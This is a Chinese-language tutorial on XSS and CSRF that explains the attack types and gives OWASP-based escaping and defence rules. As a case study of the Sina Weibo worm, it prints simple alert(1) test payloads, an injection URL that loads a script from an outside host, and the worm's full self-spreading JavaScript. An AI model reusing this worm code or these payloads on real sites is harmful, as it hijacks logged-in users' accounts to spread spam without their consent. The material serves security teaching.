名詞和概念
XSS -- Cross SiteScripting, 跨站腳本攻擊,利用網(wǎng)頁漏洞,注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行植入的腳本
Payload -- 攻擊代碼
CSRF -- Cross—Site Request Forgery,跨站請求偽造,盜用用戶身份,發(fā)送惡意請求。
XSS原理和分類
反射型XSS
攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現(xiàn)在搜索頁面。DOM型XSS由于危害較小,我們將其歸為反射型XSS。
存儲型XSS
代碼是存儲在服務器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,每當有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,這種XSS非常危險,容易造成蠕蟲,大量盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲型XSS內)。
舉例
Payload舉例
<pre><script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
'"<img/src=@ onerror=alert(1) />
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
</script><script>alert(1)</pre>
不難看出,這些payload都是通過構造字符串來中斷當前的dom結構,來創(chuàng)造js的執(zhí)行環(huán)境并達到注入惡意js的目的。
攻擊事件
MySpace,百度空間,人人網(wǎng),搜狐博客,新浪微博都曾遭遇XSS蠕蟲攻擊并造成實質性危害,一般是社交類應用中,XSS攻擊比較常見。事實上只要有用戶輸入和自定義的地方,只要不加防范,都有可能存在XSS漏洞。烏云某馬甲心傷的瘦子曾經(jīng)制作了一個xss攻擊的經(jīng)典教程,里面用到的所有案例都是騰訊各業(yè)務部門的真實漏洞。雖然烏云網(wǎng)目前已被和諧,不過通過百度仍然可以找到一些鏡像,來作學習之用。
新浪微博XSS蠕蟲
新浪微博突然出現(xiàn)大范圍“中毒”,大量用戶自動發(fā)送“建黨大業(yè)中穿幫的地方”、“個稅起征點有望提到4000”、“郭美美事件的一些未注意到的細節(jié)”、“3D肉團團高清普通話版種子”等帶鏈接的微博與私信,并自動關注一位名為hellosamy的用戶。事件的經(jīng)過如下:
- 20:14,開始有大量帶V的認證用戶中招轉發(fā)蠕蟲
- 20:30,2kt.cn中的病毒頁面無法訪問
- 20:32,新浪微博中hellosamy用戶無法訪問
- 21:02,新浪漏洞修補完畢
影響:32961(這位hellosamy在帳號被封前的好友數(shù)量)。
sammy是第一個xss蠕蟲的制作者,利用myspace的漏洞來實現(xiàn)控制其他賬號發(fā)帖和關注自己的id。這個應該是為了向sammy致敬。
步驟
1、利用了新浪微博廣場頁存在的XSS漏洞,先使自己的微博“中毒”,在瀏覽器中加載如下地址即可:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
2、使用有道提供的短域名服務(這些網(wǎng)址目前已經(jīng)“無害”);
例如,通過 http://163.fm/PxZHoxn ,將鏈接指向:
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
3、當新浪登陸用戶不小心訪問到相關網(wǎng)頁時,由于處于登錄狀態(tài),會運行這個js腳本做幾件事情:
- 發(fā)微博(讓更多的人看到這些消息,自然也就有更多人受害);
- 加關注,加uid為2201270010的用戶關注——這應該就是大家提到的hellosamy了;
- 發(fā)私信,給好友發(fā)私信傳播這些鏈接
形成
未對用戶名做轉義處理!!
Echo '<a
那么當把用戶名字設置為xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的時候,得到了以下代碼:
<a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//www.2kt.cn/images/t.js> </script>
Payload
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的細節(jié):',
'建黨大業(yè)中穿幫的地方:',
'讓女人心動的100句詩歌:',
'3D肉團團高清普通話版種子:',
'這是傳說中的神仙眷侶啊:',
'驚爆!范冰冰艷照真流出了:',
'楊冪被爆多次被潛規(guī)則:',
'傻仔拿錘子去搶銀行:',
'可以監(jiān)聽別人手機的軟件:',
'個稅起征點有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
防御XSS
httponly -- 禁止js訪問cookie
Content Security Policy -- 禁止外部js(可屏蔽運營商廣告)
使用自動轉義的模版
啟用X-XSS-Protection頭部
-
使用現(xiàn)代框架時避免危險的屬性:
<colgroup><col><col></colgroup>
框架名 危險方法/屬性 Angular (2+) bypassSecurityTrust React dangerouslySetInnerHTML Svelte {@html ...} Vue (2+) v-html
OWASP的建議
規(guī)則0 - 只允許在規(guī)則1-規(guī)則5的指定位置插入不可信內容
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>
規(guī)則1 - 插入內容到HTML結構中的時候需要先轉義
<body>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>
<div>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
規(guī)則2 - 插入不可信內容到HTML的通用屬性時,需要做屬性值轉義
對于通用屬性wide, name, value等做屬性轉義,相對復雜的比如href, src, style不適用該規(guī)則。另外對于onmouseover這種,應當遵從規(guī)則3針對js值的定義。
具體規(guī)則:
- 除字母,數(shù)字,字符以外,對ASCII值小于256的所有字符使用js編碼,即&#xHH進行轉義,防止屬性值被關閉。不能直接用\轉義完事,因為可能會連續(xù)執(zhí)行多個\使得\失效。
- 使用屬性值的時候最好加上引號,加了引號以后,值的解釋只會被同類引號中斷,如果沒有加引號的話,中斷字符包括:空格 % * + , - / ; < = > ^ 和 |.
規(guī)則3 - 插入不可信的值到javascript環(huán)境下時,只能作為數(shù)據(jù)值輸入并進行js轉義。
以下環(huán)境需要進行js轉義:
<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>
而對于以下的環(huán)境,即便經(jīng)過了轉義也是危險的,因為很容易被分號,等號,空格,加號等符號中斷。
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
規(guī)則3.1 - HTML環(huán)境下,對json數(shù)據(jù)進行html轉義,讀取數(shù)據(jù)時使用JSON.parse.
比如,當我們使用以下的代碼時:
<script>
// Do NOT do this without encoding the data with one of the techniques listed below.
var initData = <%= data.to_json %>;
</script>
最好經(jīng)過json序列化和html實體編碼,因為構造的數(shù)據(jù)再這個時候一般會出錯。
<div id="init_data" style="display: none">
<%= html_escape(data.to_json) %>
</div>
// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);
規(guī)則4 - 數(shù)據(jù)寫入css的style屬性的時候,需要做css轉義和嚴格的驗證
對于需要使用不可信數(shù)據(jù)作為css時,最好只用來作為屬性的值,并且復雜的屬性,比如url,behavior或者定制屬性如-moz-binding等的時候,最好不要使用不安全的數(shù)據(jù)。
需要轉義的情形包括:
<style>
selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
</style>
<style>
selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
</style>
<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>
否則,可能導致如下的攻擊:
{ background-url : "javascript:alert(1)"; } // and all other URLs
{ text-size: "expression(alert('XSS'))"; } // only in IE
對于屬性值的轉義,主要是把ASCII值小于256的非數(shù)字,字母的字符用\HH表示。另外如果屬性值沒有使用引號的話,則可能被空格 % * + , - / ; < = > ^ 和 |等符號中斷。
</style>標簽也可能被提前關閉,即使是被引號包裹,因為html在js之前解析。
規(guī)則5 - 對URL數(shù)值做URL編碼
除了字母和數(shù)字以外,其他字符都用%HH進行編碼;禁用data:協(xié)議,因為沒有好的方式去阻止屬性可能被中斷。
舉例:
String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255);
if (isValidURL) {
<a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}
規(guī)則6 -- Sanitize HTML Markup with a Library Designed for the Job
規(guī)則7 -- 避免使用javascript協(xié)議的url
CSRF
跨站請求偽造,不攻擊網(wǎng)站服務器,而是冒充用戶在站內的正常操作。通常由于服務端沒有對請求頭做嚴格過濾引起的。CSRF會造成密碼重置,用戶偽造等問題,可能引發(fā)嚴重后果。
- 用戶C打開瀏覽器,訪問受信任網(wǎng)站A,輸入用戶名和密碼請求登錄網(wǎng)站A; 2.在用戶信息通過驗證后,網(wǎng)站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網(wǎng)站A成功,可以正常發(fā)送請求到網(wǎng)站A;
- 用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開一個TAB頁訪問網(wǎng)站B;
- 網(wǎng)站B接收到用戶請求后,返回一些攻擊性代碼,并發(fā)出一個請求要求訪問第三方站點A;
- 瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請求。網(wǎng)站A并不知道該請求其實是由B發(fā)起的,所以會根據(jù)用戶C的Cookie信息以C的權限處理該請求,導致來自網(wǎng)站B的惡意代碼被執(zhí)行。
CSRF常用防御方案
- 同源檢測,如驗證referer
- http請求可能不攜帶referer,使用https
- 隱私模式下不攜帶referer
- csrftoken
FAQ
- 有沒有徹底防御xss/csrf的方法?
- 使用了Reactjs是否仍然需要防御XSS?
- 使用實體編碼為什么不能解決問題?
- 為什么是開發(fā)者而不是瀏覽器來處理安全問題?
附錄
XSS防御規(guī)則
<colgroup><col><col><col><col></colgroup>
數(shù)據(jù)類型 | 環(huán)境 | 代碼示例 | 防御方式 |
---|---|---|---|
String | Html Body | <span>UNTRUSTED DATA </span> | HTML實體編碼 |
String | Safe HTML Attributes | <input type="text" name="fname" value="UNTRUSTED DATA "> | 適用規(guī)則2,屬性白名單的使用HTML實體編碼,對background, id, name等進行嚴格驗證 |
String | src或者href屬性 | clickme <iframe src="UNTRUSTED URL " /> | 限制協(xié)議為http,https,進行URL編碼 |
String | Css Value | html | |
Selection | 結構驗證,16進制編碼 | ||
String | Javascript Variable | <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> | 加引號,16進制編碼 |
HTML | HTML Body |
UNTRUSTED HTML
| 序列化/反序列化 |
| String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | 另一個話題 |
編碼規(guī)則
<colgroup><col><col></colgroup>
編碼類型 | 編碼機制 |
---|---|
HTML Entity Encoding | Convert & to &, Convert < to <, Convert > to >, Convert " to ", Convert ' to ', Convert / to / |
HTML Attribute Encoding | Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value) |
URL Encoding | Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL. |
JavaScript Encoding | Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer). |
CSS Hex Encoding | CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value. |